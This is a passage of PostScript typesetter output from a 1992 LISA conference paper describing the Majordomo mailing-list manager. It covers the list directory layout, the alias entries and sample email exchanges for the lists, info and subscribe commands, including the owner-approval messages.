Y(from,)s +781 X(where)s +979 X(Majordomo's)s +1376 X(supporting)s +1695 X(programs)s +1982 X(are)s +600 X +2676 Y(located,)s +856 X(where)s +1064 X(the)s +1191 X(lists)s +1345 X(Majordomo)s +1704 X(manages)s +1982 X(are)s +600 X +2749 Y(located,)s +833 X(and)s +951 X(where)s +1136 X(Majordomo's)s +1521 X(log)s +1629 X(is)s +1697 X(located)s +1891 X(.)s +1953 X(Fig-)s +600 X +2822 Y(ure)s +712 X(3)s +772 X(shows)s +965 X(a)s +1022 X(sample)s +1239 X(Majordomo)s +1580 X(con\256guration)s +1961 X(\256le)s +2047 X(.)s +600 X +2895 Y(All)s +718 X(Majordomo)s +1032 X(-managed)s +1327 X(\256les)s +1471 X(\(the)s +1607 X(lists)s +1749 X(themselves,)s +600 X +2968 Y(and)s +724 X(the)s +834 X("info")s +1022 X(and)s +1145 X("password")s +1477 X(information)s +1819 X(for)s +1923 X(those)s +600 X +3041 Y(lists\))s +784 X(are)s +919 X(kept)s +1087 X(in)s +1192 X(a)s +1275 X(directory)s +1570 X(speci\256ed)s +1862 X(by)s +1982 X(the)s +600 X +3114 Y(")s +f.CW 10 Z($listdir)s +f.R 10 Z(")s +1031 X(variable)s +1304 X(in)s +1412 X(the)s +1550 X(con\256guration)s +1961 X(\256le)s +2047 X(.)s +600 X +3187 Y(Each)s +760 X(mailing)s +991 X(list)s +1100 X(is)s +1171 X(kept)s +1312 X(in)s +1390 X(a)s +1446 X(\256le)s +1558 X(in)s +1636 X(the)s +1744 X +f.CW 10 Z($listdir)s +600 X +3260 Y +f.R 10 Z(directory)s +865 X(that)s +990 X(is)s +1059 X(exactly)s +1277 X(the)s +1383 X(name)s +1552 X(of)s +1631 X(the)s +1736 X(mailing)s +1964 X(list)s +2047 X(.)s +600 X +3333 Y(Mailing)s +854 X(list)s +980 X(names)s +1194 X(may)s +1352 X(contain)s +1592 X(only)s +1753 X(lower)s +1948 X(case)s +600 X +3406 Y(letters,)s +810 X(numbers,)s +1084 X(")s +1111 X(-",)s +1205 X(and)s +1329 X("_")s +1416 X(.)s +1483 X(The)s +1614 X(lists)s +1750 X(Majordomo)s +600 X +3479 Y(thinks)s +789 X(it)s +853 X(manages)s +1113 X(are)s +1221 X(the)s +1329 X(\256les)s +1468 X(in)s +1547 X +f.CW 10 Z($listdir)s +1894 X +f.R 10 Z(whose)s +600 X +3552 Y(names)s +811 X(meet)s +982 X(these)s +1160 X(criteria)s +1391 X(for)s +1508 X(mailing)s +1753 X(list)s +1876 X(names)s +2047 X(.)s +600 X +3625 Y(There)s +780 X(is)s +849 X(no)s +939 X(speci\256c)s +1168 X("list)s +1302 X(of)s +1382 X(lists")s +1543 X(in)s +1620 X(a)s +1675 X(\256le)s +1786 X(anywhere;)s +2256 X +448 Y(thus,)s +2415 X(creating)s +2662 X(a)s +2723 X(new)s +2865 X(list)s +2979 X(for)s +3086 X(Majordomo)s +3430 X(to)s +3512 X(manage)s +2256 X +521 Y(merely)s +2468 X(involves)s +2720 X(creating)s +2962 X(a)s +3019 X(new)s +3157 X(\256le)s +3270 X(with)s +3416 X(appropriate)s +2256 X +594 Y(permissions)s +2607 X(in)s +2691 X +f.CW 10 Z($listdir)s +3042 X +f.R 10 Z(and)s +3169 X(creating)s +3416 X(appropriate)s +2256 X +667 Y(entries)s +2571 X(in)s +2759 X(either)s +3048 X +f.CW 10 Z(/etc/aliases)s +3665 X +f.R 10 Z(or)s +2256 X +740 Y +f.CW 10 Z(/usr/lib/alias)s +2816 X(es)s +2918 X +f.R 10 Z(to)s +2992 X(use)s +3103 X(that)s +3226 X(\256le)s +3312 X(.)s +2256 X +834 Y +2400 X(Several)s +2633 X(auxiliary)s +2903 X(\256les)s +3048 X(may)s +3196 X(be)s +3292 X(associated)s +3601 X(with)s +2256 X +907 Y(each)s +2415 X(list)s +2534 X(in)s +2622 X +f.CW 10 Z($listdir)s +2942 X +f.R 10 Z(.)s +3017 X(The)s +3157 X(password)s +3444 X(for)s +3557 X +f.I 10 Z(list)s +3675 X +f.R 10 Z(is)s +2256 X +980 Y(contained)s +2541 X(in)s +2618 X(the)s +2725 X(\256le)s +2837 X(")s +f.I 10 Z(list)s +2947 X +f.R 10 Z(.)s +f.CW 10 Z(passwd)s +f.R 10 Z(")s +3231 X(.)s +3296 X(The)s +3426 X(descriptive)s +2256 X +1053 Y(info)s +2389 X(for)s +2492 X +f.I 10 Z(list)s +2601 X +f.R 10 Z(\(which)s +2812 X(will)s +2943 X(be)s +3031 X(returned)s +3278 X(in)s +3355 X(response)s +3613 X(to)s +3690 X(a)s +2256 X +1126 Y("info)s +2446 X +f.I 10 Z(list)s +f.R 10 Z(")s +2612 X(or)s +2723 X("subscribe)s +3058 X +f.I 10 Z(list)s +f.R 10 Z(")s +3224 X(command\))s +3566 X(is)s +3668 X(in)s +2256 X +1199 Y(")s +f.I 10 Z(list)s +2366 X +f.R 10 Z(.)s +f.CW 10 Z(info)s +f.R 10 Z(")s +2570 X(.)s +2680 X(The)s +2855 X(existence)s +3176 X(of)s +3302 X(a)s +3403 X(\256le)s +3559 X(called)s +2256 X +1272 Y(")s +f.I 10 Z(list)s +2366 X +f.R 10 Z(.)s +f.CW 10 Z(closed)s +f.R 10 Z(")s +2685 X(indicates)s +2959 X(that)s +3095 X +f.I 10 Z(list)s +3213 X +f.R 10 Z(is)s +3293 X(a)s +3359 X("closed")s +3620 X(list,)s +2256 X +1345 Y(and)s +2409 X(that)s +2567 X(all)s +2692 X("subscribe)s +3028 X +f.I 10 Z(list)s +f.R 10 Z(")s +3195 X(requests)s +3471 X(must)s +3657 X(be)s +2256 X +1418 Y(approved)s +2529 X(by)s +2622 X(the)s +2731 X(list)s +2841 X(owner)s +3007 X(.)s +3073 X(Note)s +3230 X(that)s +3358 X(the)s +3467 X(names)s +3665 X(of)s +2256 X +1491 Y(these)s +2428 X(auxiliary)s +2699 X(\256les)s +2844 X(are)s +2959 X(invalid)s +3178 X(mailing)s +3416 X(list)s +3532 X(names,)s +2256 X +1564 Y(because)s +2502 X(they)s +2651 X(contain)s +2883 X(a)s +2948 X(")s +2975 X(.";)s +3073 X(that's)s +3257 X(how)s +3406 X(Majordomo)s +2256 X +1637 Y(differentiates)s +2636 X(the)s +2744 X(mailing)s +2975 X(list)s +3084 X(\256les)s +3221 X(from)s +3375 X(the)s +3482 X(auxiliary)s +2256 X +1710 Y(\256les)s +2368 X(.)s +2256 X +1804 Y +2400 X(Majordomo)s +2821 X(is)s +2973 X(closely)s +3270 X(tied)s +3478 X(to)s +3638 X(the)s +2256 X +1877 Y +f.CW 10 Z(/etc/aliases)s +2765 X +f.R 10 Z(or)s +2849 X +f.CW 10 Z(/usr/lib/aliase)s +3449 X(s)s +3518 X +f.R 10 Z(\256le)s +3604 X(.)s +3672 X(A)s +2256 X +1950 Y(number)s +2494 X(of)s +2584 X(aliases)s +2799 X(are)s +2917 X(required)s +3175 X(for)s +3288 X(the)s +3406 X(Majordomo)s +2256 X +2023 Y(server)s +2443 X(itself,)s +2619 X(as)s +2699 X(well)s +2839 X(as)s +2918 X(for)s +3018 X(each)s +3164 X(of)s +3242 X(the)s +3347 X(lists)s +3479 X(managed)s +2256 X +2096 Y(by)s +2354 X(Majordomo)s +2668 X(.)s +2739 X(Figure)s +2945 X(4)s +3010 X(shows)s +3208 X(sample)s +3431 X(entries)s +3643 X(for)s +2256 X +2169 Y(the)s +2362 X +f.CW 10 Z(/etc/aliases)s +2866 X +f.R 10 Z(\256le)s +2976 X(on)s +3065 X(a)s +3118 X(machine)s +3368 X(using)s +3535 X(Major-)s +2256 X +2242 Y(domo)s +2434 X(to)s +2513 X(run)s +2628 X(two)s +2755 X(lists)s +2891 X(\("open)s +3069 X(-list")s +3228 X(and)s +3351 X("closed)s +3549 X(-list"\))s +3703 X(.)s +2256 X +2315 Y(The)s +2386 X(")s +2413 X(-approval")s +2721 X(alias)s +2871 X(is)s +2941 X(where)s +3129 X(Majordomo)s +3468 X(will)s +3598 X(send)s +2256 X +2388 Y(requests)s +2509 X(for)s +2620 X(approval)s +2887 X(for)s +2999 X(actions)s +3224 X(concerning)s +3555 X(a)s +3620 X(list)s +3703 X(.)s +2256 X +2461 Y(The)s +2384 X("owner)s +2577 X(-")s +2650 X(alias)s +2798 X(is)s +2867 X(not)s +2976 X(used)s +3122 X(by)s +3212 X(Majordomo,)s +3567 X(but)s +3675 X(is)s +2256 X +2534 Y(used)s +2408 X(by)s +2504 X(Sendmail)s +2787 X(to)s +2869 X(notify)s +3058 X(the)s +3171 X(owner)s +3368 X(of)s +3454 X(a)s +3515 X(mailing)s +2256 X +2607 Y(list)s +2364 X(of)s +2443 X(problems)s +2715 X(with)s +2858 X(that)s +2983 X(mailing)s +3212 X(list)s +3319 X(\(bounced)s +3590 X(mes-)s +2256 X +2680 Y(sages,)s +2443 X(and)s +2565 X(so)s +2650 X(forth;)s +2824 X(see)s +2936 X(the)s +3044 X(Sendmail)s +3323 X(documentation)s +2256 X +2753 Y(for)s +2397 X(more)s +2598 X(information\))s +2935 X(.)s +3038 X(The)s +3206 X("owner)s +3399 X(-")s +3512 X(and)s +3671 X(")s +3698 X(-)s +2256 X +2826 Y(approval")s +2559 X(aliases)s +2782 X(could)s +2973 X(point)s +3153 X(to)s +3249 X(different)s +3523 X(people;)s +2256 X +2899 Y(each)s +2401 X(could)s +2571 X(also)s +2701 X(expand)s +2915 X(to)s +2989 X(multiple)s +3235 X(people)s +3413 X(.)s +2256 X +3026 Y +2725 X +f.B 10 Z(Using)s +2910 X(Majordomo)s +2256 X +3135 Y +2400 X +f.R 10 Z(To)s +2501 X(use)s +2617 X(Majordomo,)s +2975 X(a)s +3032 X(user)s +3171 X(sends)s +3347 X(commands)s +3664 X(as)s +2256 X +3208 Y(an)s +2361 X(email)s +2553 X(message)s +2822 X(to)s +2916 X(the)s +3040 X(address)s +3282 X(the)s +3406 X(Majordomo)s +2256 X +3281 Y(server)s +2460 X(is)s +2546 X(con\256gured)s +2871 X(to)s +2964 X(recognize)s +3265 X(\(for)s +3406 X(the)s +3530 X(sample)s +2256 X +3354 Y(con\256guration)s +2696 X(in)s +2833 X(Figure)s +3091 X(3,)s +3225 X(the)s +3391 X(address)s +3675 X(is)s +2256 X +3427 Y("Majordomo@Gre)s +2758 X(atCircle)s +2971 X(.COM"\))s +3188 X(.)s +3264 X(For)s +3393 X(instance,)s +3668 X(to)s +2256 X +3500 Y(\256nd)s +2479 X(out)s +2683 X(what)s +2932 X(lists)s +3160 X(are)s +3361 X(served)s +3654 X(by)s +2256 X +3573 Y(Majordomo@Grea)s +2761 X(tCircle)s +2944 X(.COM,)s +3219 X(a)s +3340 X(user)s +3542 X(named)s +2256 X +3646 Y("Jane@Somewher)s +2748 X(e)s +2778 X(.ORG")s +2997 X(might)s +3188 X(send)s +3345 X(the)s +3461 X(following)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(139)s +5280 Y +pagebot + +%%Page: 140 6 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(message:)s +360 X +537 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +597 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +693 Y +408 X(lists)s +360 X +795 Y +f.R 10 Z(The)s +492 X("Subject:")s +794 X(line)s +923 X(of)s +1006 X(a)s +1064 X(message,)s +1336 X(if)s +1405 X(any,)s +1547 X(is)s +1621 X(ignored)s +360 X +868 Y(by)s +452 X(Majordomo,)s +809 X(so)s +894 X(there's)s +1102 X(no)s +1194 X(harm)s +1357 X(in)s +1435 X(leaving)s +1658 X(it)s +1722 X(out)s +1807 X(.)s +360 X +941 Y(Jane)s +509 X(would)s +705 X(receive)s +929 X(a)s +990 X(message)s +1248 X(like)s +1380 X(this)s +1508 X(in)s +1591 X(response)s +360 X +1014 Y(to)s +434 X(her)s +541 X(query:)s +360 X +1103 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +1163 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +1223 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +1319 Y +408 X(>>>>)s +568 X(lists)s +360 X +1379 Y +408 X(Majordomo@Great)s +888 X(Circle)s +1080 X(.COM)s +1240 X(serves)s +1464 X(the)s +360 X +1439 Y +408 X(following)s +728 X(lists:)s +360 X +1535 Y +536 X(majordomo)s +824 X(-announce)s +360 X +1595 Y +536 X(majordomo)s +824 X(-users)s +360 X +1691 Y +408 X(Use)s +536 X(the)s +664 X('info)s +856 X(')s +1112 X(command)s +1368 X(to)s +1464 X(get)s +360 X +1751 Y +408 X(more)s +568 X(information)s +952 X(about)s +1144 X(a)s +1208 X(specific)s +1496 X(list)s +1624 X(.)s +360 X +1853 Y +f.R 10 Z(Upon)s +546 X(receiving)s +834 X(this,)s +987 X(Jane)s +1145 X(might)s +1340 X(wish)s +1505 X(to)s +1596 X(\256nd)s +1739 X(out)s +360 X +1926 Y(more)s +527 X(about)s +705 X(each)s +857 X(of)s +941 X(these)s +1108 X(lists)s +1217 X(.)s +1285 X(She)s +1414 X(could)s +1591 X(send)s +1742 X(the)s +360 X +1999 Y(following)s +641 X(request:)s +360 X +2088 Y +408 X +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +2148 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +2244 Y +408 X(info)s +568 X(majordomo)s +856 X(-announce)s +360 X +2304 Y +408 X(info)s +568 X(majordomo)s +856 X(-users)s +360 X +2406 Y +f.R 10 Z(In)s +437 X(return,)s +635 X(Majordomo)s +971 X(would)s +1159 X(respond)s +1391 X(with:)s +360 X +2495 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +2555 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +2615 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +2711 Y +408 X(>>>>)s +568 X(info)s +728 X(majordomo)s +1016 X(-users)s +360 X +2771 Y +408 X(This)s +568 X(list)s +728 X(is)s +824 X(for)s +952 X(discussions)s +1336 X(\(including)s +360 X +2831 Y +408 X(bug)s +536 X(reports,)s +824 X(enhancement)s +1208 X(reports,)s +360 X +2891 Y +408 X(and)s +536 X(general)s +792 X(usage)s +984 X(tips\))s +1176 X(concerning)s +360 X +2951 Y +408 X(the)s +536 X(Majordomo)s +856 X(mailing)s +1112 X(list)s +1272 X(manager)s +1496 X(.)s +360 X +3011 Y +408 X(.)s +440 X(.)s +472 X(.)s +360 X +3107 Y +408 X(>>>>)s +568 X(info)s +728 X(majordomo)s +1016 X(-announce)s +360 X +3167 Y +408 X(This)s +568 X(list)s +728 X(is)s +824 X(for)s +952 X(announcements)s +1400 X(of)s +1496 X(new)s +360 X +3227 Y +408 X(releases)s +696 X(of)s +792 X(the)s +920 X(Majordomo)s +1240 X(mailing)s +360 X +3287 Y +408 X(list)s +568 X(manager)s +792 X(.)s +360 X +3347 Y +408 X(.)s +440 X(.)s +472 X(.)s +360 X +3449 Y +f.R 10 Z(If)s +433 X(Jane)s +581 X(wishes)s +792 X(to)s +873 X(subscribe)s +1154 X(to)s +1235 X(one)s +1360 X(of)s +1445 X(the)s +1557 X(lists)s +1696 X(\(say,)s +360 X +3522 Y(the)s +477 X(majordomo)s +784 X(-users)s +977 X(list\),)s +1133 X(she)s +1256 X(would)s +1456 X(send)s +1612 X(the)s +1728 X(fol-)s +360 X +3595 Y(lowing)s +567 X(request:)s +360 X +3684 Y +408 X +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +3744 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +3840 Y +408 X(subscribe)s +728 X(majordomo)s +1016 X(-users)s +360 X +3942 Y +f.R 10 Z(In)s +438 X(return,)s +637 X(she)s +749 X(would)s +938 X(receive)s +1155 X(two)s +1278 X(messages)s +1531 X(.)s +1593 X(The)s +1720 X(\256rst)s +360 X +4015 Y(is)s +427 X(a)s +479 X(standard)s +727 X(Majordomo)s +1063 X(response:)s +360 X +4104 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +4164 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +4224 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +4320 Y +408 X(>>>>)s +568 X(subscribe)s +888 X(majordomo)s +1176 X(-users)s +360 X +4380 Y +408 X(Succeeded)s +696 X(.)s +360 X +4482 Y +f.R 10 Z(The)s +511 X(second)s +743 X(is)s +835 X("welcome")s +1178 X(message)s +1452 X(with)s +1619 X(speci\256c)s +360 X +4555 Y(information)s +719 X(concerning)s +1059 X(the)s +1185 X(list)s +1311 X(\(note)s +1491 X(that)s +1635 X(it)s +1716 X(also)s +360 X +4628 Y(includes)s +617 X(the)s +734 X(same)s +907 X(information)s +1257 X(that)s +1393 X(an)s +1491 X("info")s +1687 X(com-)s +360 X +4701 Y(mand)s +537 X(on)s +632 X(the)s +743 X(list)s +855 X(would)s +1050 X(return\))s +1231 X(.)s +1299 X(This)s +1447 X(message)s +1702 X(goes)s +2016 X +448 Y(to)s +2091 X(the)s +2196 X(subscribed)s +2504 X(address,)s +2744 X(not)s +2852 X(the)s +2957 X(address)s +3181 X(the)s +3287 X(request)s +2016 X +521 Y(was)s +2155 X(made)s +2335 X(from)s +2499 X(\(though)s +2740 X(in)s +2826 X(this)s +2957 X(case)s +3107 X(those)s +3282 X(are)s +3398 X(the)s +2016 X +594 Y(same;)s +2206 X(since)s +2377 X(Jane)s +2529 X(didn't)s +2722 X(specify)s +2949 X(an)s +3046 X(address)s +3280 X(to)s +3366 X(sub-)s +2016 X +667 Y(scribe,)s +2229 X(it)s +2303 X(defaulted)s +2588 X(to)s +2676 X(the)s +2794 X(address)s +3030 X(the)s +3148 X(request)s +3376 X(was)s +2016 X +740 Y(made)s +2183 X(from\):)s +2016 X +829 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +889 Y +2064 X(To:)s +2192 X(Jane@Somewhere)s +2640 X(.ORG)s +2016 X +949 Y +2064 X(Subject:)s +2352 X(Welcome)s +2608 X(to)s +2704 X(majordomo)s +2992 X(-users)s +2016 X +1045 Y +2064 X(Welcome)s +2320 X(to)s +2416 X(the)s +2544 X(majordomo)s +2832 X(-users)s +3056 X(mailing)s +3312 X(list!)s +2016 X +1141 Y +2064 X(If)s +2160 X(you)s +2288 X(ever)s +2448 X(want)s +2608 X(to)s +2704 X(remove)s +2928 X(yourself)s +2016 X +1201 Y +2064 X(from)s +2224 X(this)s +2384 X(mailing)s +2640 X(list,)s +2832 X(send)s +2992 X(the)s +2016 X +1261 Y +2064 X(following)s +2384 X(command)s +2640 X(in)s +2736 X(email)s +2928 X(to)s +2016 X +1321 Y +2064 X("Majordomo@Grea)s +2544 X(tCircle)s +2768 X(.COM":)s +2016 X +1417 Y +2192 X(unsubscribe)s +2576 X(majordomo)s +2864 X(-users)s +3088 X(\\)s +2016 X +1477 Y +2304 X(Jane@Somewhere)s +2752 X(.ORG)s +2016 X +1573 Y +2064 X(Here's)s +2288 X(the)s +2416 X(general)s +2672 X(information)s +3056 X(for)s +3184 X(the)s +2016 X +1633 Y +2064 X(list)s +2224 X(you've)s +2448 X(subscribed)s +2800 X(to,)s +2928 X(in)s +3024 X(case)s +3184 X(you)s +2016 X +1693 Y +2064 X(don't)s +2256 X(already)s +2512 X(have)s +2672 X(it:)s +2016 X +1789 Y +2064 X(This)s +2224 X(list)s +2384 X(is)s +2480 X(for)s +2608 X(discussions)s +2992 X(\(including)s +2016 X +1849 Y +2064 X(bug)s +2192 X(reports,)s +2480 X(enhancement)s +2864 X(reports,)s +2016 X +1909 Y +2064 X(and)s +2192 X(general)s +2448 X(usage)s +2640 X(tips\))s +2832 X(concerning)s +2016 X +1969 Y +2064 X(the)s +2192 X(Majordomo)s +2512 X(mailing)s +2768 X(list)s +2928 X(manager)s +3152 X(.)s +2016 X +2029 Y +2064 X(.)s +2096 X(.)s +2128 X(.)s +2016 X +2131 Y +f.R 10 Z(At)s +2109 X(the)s +2217 X(same)s +2381 X(time,)s +2544 X(the)s +2652 X(owner)s +2844 X(of)s +2925 X(the)s +3033 X(list)s +3143 X(\(through)s +3398 X(the)s +2016 X +2204 Y("majordomo)s +2350 X(-users)s +2509 X(-approval")s +2935 X(alias)s +3203 X(in)s +3398 X(the)s +2016 X +2277 Y +f.CW 10 Z(/etc/aliases)s +2533 X +f.R 10 Z(\256le)s +2656 X(on)s +2759 X(the)s +2879 X(Majordomo)s +3231 X(machine\))s +2016 X +2350 Y(would)s +2220 X(receive)s +2452 X(the)s +2572 X(following)s +2868 X(noti\256cation)s +3210 X(of)s +3302 X(a)s +3369 X(new)s +2016 X +2423 Y(user:)s +2016 X +2512 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +2572 Y +2064 X(To:)s +2192 X(majordomo)s +2480 X(-users)s +2672 X(-approval@Great)s +3152 X(Circle)s +3344 X(.COM)s +2016 X +2632 Y +2064 X(Subject:)s +2352 X(SUBSCRIBE)s +2672 X(majordomo)s +2960 X(-users)s +2016 X +2728 Y +2064 X(Jane@Somewhere)s +2512 X(.ORG)s +2672 X(has)s +2800 X(been)s +2016 X +2788 Y +2064 X(added)s +2256 X(to)s +2352 X(majordomo)s +2640 X(-users)s +2832 X(.)s +2016 X +2848 Y +2064 X(No)s +2160 X(action)s +2384 X(is)s +2480 X(required)s +2768 X(on)s +2864 X(your)s +3024 X(part)s +3152 X(.)s +2016 X +2950 Y +f.R 10 Z(If)s +2094 X(Jane)s +2247 X(wanted)s +2474 X(to)s +2560 X(subscribe)s +2846 X(some)s +3021 X(other)s +3193 X(address)s +3428 X(to)s +2016 X +3023 Y(majordomo)s +2323 X(-announce)s +2742 X(\(the)s +2988 X(email)s +3280 X(address)s +2016 X +3096 Y("SysStaff@Some)s +2482 X(where)s +2645 X(.ORG",)s +2886 X(for)s +3003 X(instance,)s +3280 X(so)s +3379 X(that)s +2016 X +3169 Y(all)s +2134 X(members)s +2429 X(of)s +2534 X(the)s +2666 X(system)s +2902 X(staff)s +3071 X(would)s +3286 X(receive)s +2016 X +3242 Y(announcements)s +2471 X(concerning)s +2808 X(Majordomo\),)s +3202 X(she)s +3332 X(could)s +2016 X +3315 Y(submit)s +2220 X(the)s +2324 X(following)s +2605 X(request:)s +2016 X +3404 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Jane@Somewhere)s +2704 X(.ORG)s +2016 X +3464 Y +2064 X(To:)s +2192 X(Majordomo@Great)s +2672 X(Circle)s +2864 X(.COM)s +2016 X +3560 Y +2064 X(subscribe)s +2384 X(majordomo)s +2672 X(-announce)s +2992 X(\\)s +2016 X +3620 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +3722 Y +f.R 10 Z(This)s +2184 X(would)s +2399 X(cause)s +2597 X(the)s +2729 X(following)s +3038 X(message)s +3315 X(to)s +3417 X(be)s +2016 X +3795 Y(returned)s +2260 X(to)s +2334 X(Jane:)s +2016 X +3884 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +3944 Y +2064 X(To:)s +2192 X(Jane@Somewhere)s +2640 X(.ORG)s +2016 X +4004 Y +2064 X(Subject:)s +2352 X(Majordomo)s +2672 X(results)s +2016 X +4100 Y +2064 X(>>>>)s +2224 X(subscribe)s +2544 X(majordomo)s +2832 X(-announce)s +3152 X(\\)s +2016 X +4160 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +4220 Y +2064 X(Your)s +2224 X(request)s +2480 X(to)s +2576 X(Majordomo@Great)s +3056 X(Circle)s +3248 X(.COM:)s +2016 X +4316 Y +2192 X(subscribe)s +2512 X(majordomo)s +2800 X(-announce)s +3120 X(\\)s +2016 X +4376 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +4472 Y +2064 X(has)s +2192 X(been)s +2352 X(forwarded)s +2672 X(to)s +2768 X(the)s +2896 X(owner)s +3088 X(of)s +3184 X(the)s +2016 X +4532 Y +2064 X("majordomo)s +2384 X(-announce")s +2736 X(list)s +2896 X(for)s +3024 X(approval)s +3280 X(.)s +2016 X +4592 Y +2064 X(This)s +2224 X(could)s +2416 X(be)s +2512 X(for)s +2640 X(any)s +2768 X(of)s +2864 X(several)s +3120 X(reasons:)s +2016 X +4688 Y +2192 X(You)s +2320 X(might)s +2512 X(have)s +2672 X(asked)s +2864 X(to)s +2960 X(subscribe)s +3280 X(to)s +3376 X(a)s +2016 X +4748 Y +2192 X("closed")s +2480 X(list,)s +2672 X(where)s +2864 X(all)s +2992 X(new)s +3120 X(additions)s +360 X +4967 Y +f.B 10 Z(140)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 141 7 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +435 Y +776 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(must)s +936 X(be)s +1032 X(approved)s +1320 X(by)s +1416 X(the)s +1544 X(list)s +1704 X(owner)s +1864 X(.)s +600 X +531 Y +776 X(You)s +904 X(might)s +1096 X(have)s +1256 X(asked)s +1448 X(to)s +1544 X(subscribe)s +1864 X(or)s +600 X +591 Y +776 X(unsubscribe)s +1160 X(an)s +1256 X(address)s +1512 X(other)s +1704 X(than)s +600 X +651 Y +776 X(the)s +904 X(one)s +1032 X(that)s +1192 X(appears)s +1448 X(in)s +1544 X(the)s +1672 X(headers)s +600 X +711 Y +776 X(of)s +872 X(your)s +1032 X(mail)s +1192 X(message)s +1416 X(.)s +600 X +807 Y +648 X(When)s +808 X(the)s +936 X(list)s +1096 X(owner)s +1288 X(approves)s +1576 X(your)s +1736 X(request,)s +2024 X(you)s +600 X +867 Y +648 X(will)s +808 X(be)s +904 X(notified)s +1160 X(.)s +600 X +963 Y +648 X(If)s +744 X(you)s +872 X(have)s +1032 X(any)s +1160 X(questions)s +1480 X(about)s +1672 X(the)s +600 X +1023 Y +648 X(policy)s +872 X(of)s +968 X(the)s +1096 X(list)s +1256 X(owner,)s +1480 X(please)s +1704 X(contact)s +600 X +1083 Y +648 X("majordomo)s +968 X(-announce)s +1256 X(-approval@Great)s +1736 X(Circle)s +1928 X(.COM")s +2088 X(.)s +600 X +1185 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(At)s +700 X(the)s +816 X(same)s +988 X(time,)s +1159 X(Majordomo)s +1507 X(sends)s +1689 X(the)s +1805 X(following)s +600 X +1258 Y(message)s +849 X(to)s +923 X(the)s +1027 X(mailing)s +1254 X(list)s +1359 X(owner:)s +600 X +1347 Y +648 X +f.CW 8 Z(From:)s +840 X(Majordomo@Great)s +1320 X(Circle)s +1512 X(.COM)s +600 X +1407 Y +648 X(To:)s +776 X(majordomo)s +1064 X(-announce)s +1352 X(-approval@Great)s +1832 X(Circle)s +2024 X(.COM)s +600 X +1467 Y +648 X(Subject:)s +936 X(APPROVE)s +1192 X(majordomo)s +1480 X(-announce)s +600 X +1563 Y +648 X(Jane@Somewhere)s +1096 X(.ORG)s +1256 X(requests)s +1544 X(that)s +1704 X(you)s +600 X +1623 Y +648 X(approve)s +904 X(the)s +1032 X(following:)s +600 X +1719 Y +776 X(subscribe)s +1096 X(majordomo)s +1384 X(-announce)s +1704 X(\\)s +600 X +1779 Y +888 X(SysStaff@Somew)s +1336 X(here)s +1464 X(.ORG)s +600 X +1875 Y +648 X(If)s +744 X(you)s +872 X(approve,)s +1160 X(please)s +1384 X(send)s +1544 X(a)s +1608 X(message)s +600 X +1935 Y +648 X(such)s +808 X(as)s +904 X(the)s +1032 X(following)s +1352 X(back)s +1512 X(to)s +600 X +1995 Y +648 X(Majordomo@Great)s +1128 X(Circle)s +1320 X(.COM)s +1480 X(\(with)s +1672 X(the)s +600 X +2055 Y 